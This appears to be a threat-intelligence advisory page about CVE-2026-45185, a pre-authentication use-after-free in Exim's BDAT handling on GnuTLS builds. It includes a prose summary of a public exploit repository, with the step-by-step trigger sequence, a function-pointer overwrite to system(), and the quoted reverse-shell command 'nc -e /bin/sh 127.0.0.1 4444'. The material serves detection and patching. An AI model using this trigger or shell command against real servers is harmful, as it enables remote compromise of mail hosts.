Loading vulnerability…
CVE-2026-45185, also known as Dead.Letter, is a remotely reachable use-after-free vulnerability in Exim's BDAT message-body parsing path when Exim is built with the GnuTLS backend. During a CHUNKING/BDAT transfer, a client can send a TLS close_notify before body transfer completion and then send a final cleartext byte over the same TCP connection. Exim can process the byte through stale TLS-related state after the transfer buffer has been freed, causing a write to freed heap memory and heap corruption. Affected versions are Exim 4.97 through 4.99.2 built with GnuTLS support; OpenSSL-based builds are not affected.
Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.
What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.
What an attacker gets, and what they’ve been doing with it.
If you can’t patch tonight, do this now.
Patch, then assume compromise.
1 valid exploit after Mallory filtered fakes, detection scripts, and README-only repos (3 hidden).
This repository contains a compact exploit set for CVE-2026-45185 ('Dead.Letter'), a pre-authentication heap use-after-free in Exim SMTP on Ubuntu/GnuTLS builds when CHUNKING/BDAT is enabled. The repository has 4 files: a README, a Nuclei template, a Python network PoC, and a Python GDB harness. Because it includes a Nuclei template, it is framework-associated, but the repository itself also contains standalone exploit code beyond detection. Main capabilities: the Nuclei template performs safe detection only, fingerprinting Exim over raw TCP on ports 25 and 587 by checking the SMTP banner/EHLO response for vulnerable versions, Ubuntu/GnuTLS indicators, and CHUNKING support, then confirming BDAT handler behavior with an out-of-sequence 'BDAT 200' probe. The standalone poc.py is a real network trigger: it connects to SMTP, performs EHLO, STARTTLS, a TLS-wrapped EHLO, MAIL FROM, RCPT TO, enters BDAT mode, sends a partial body, then sends TLS close_notify via unwrap() while the server is mid-body-read, followed by a cleartext byte to drive execution back into the stale session pointer path. This PoC does not include a remote payload and is intended to demonstrate reachability of the UAF path. The most offensive component is diag19_gdb.py, a local debugger-assisted exploit harness for lab use. It sets multiple GDB breakpoints on Exim/GnuTLS functions, captures the freed gnutls session pointer, restores Exim's read callback to keep the freed TLS session reachable, and writes crafted values into the freed chunk after gnutls_deinit() returns. It overwrites the pull function pointer with system(), points the transport pointer at an injected command buffer, and uses the command 'nc -e /bin/sh 127.0.0.1 4444' to launch a reverse shell. This is not a standalone remote exploit; it requires local GDB control, ASLR disabled, and matching binary/library versions, but it demonstrates a path from UAF to code execution. Repository structure and purpose: README.md documents the vulnerability, affected versions, lab setup, usage examples, and remediation. CVE-2026-45185.yaml is a read-only detection template for Nuclei. poc.py is the primary standalone exploit entry point for reproducing the vulnerable network state. diag19_gdb.py is a post-trigger exploitation aid for controlled lab validation of RCE. Overall, the repository's purpose is to provide detection, reproduction, and lab-grade exploitation material for Exim CVE-2026-45185.
Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.
Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.
103 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
An unauthenticated remote code execution vulnerability in EXIM, used as one of the vulnerabilities in the AI-generated patch evaluation.
An unauthenticated remote code execution vulnerability in EXIM, included in the study as a complex patching target.
An unauthenticated remote code execution vulnerability in EXIM, used in the research on LLM-generated vulnerability patches.
A vulnerability in Exim that could allow an unauthenticated remote attacker to execute arbitrary code on affected instances.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.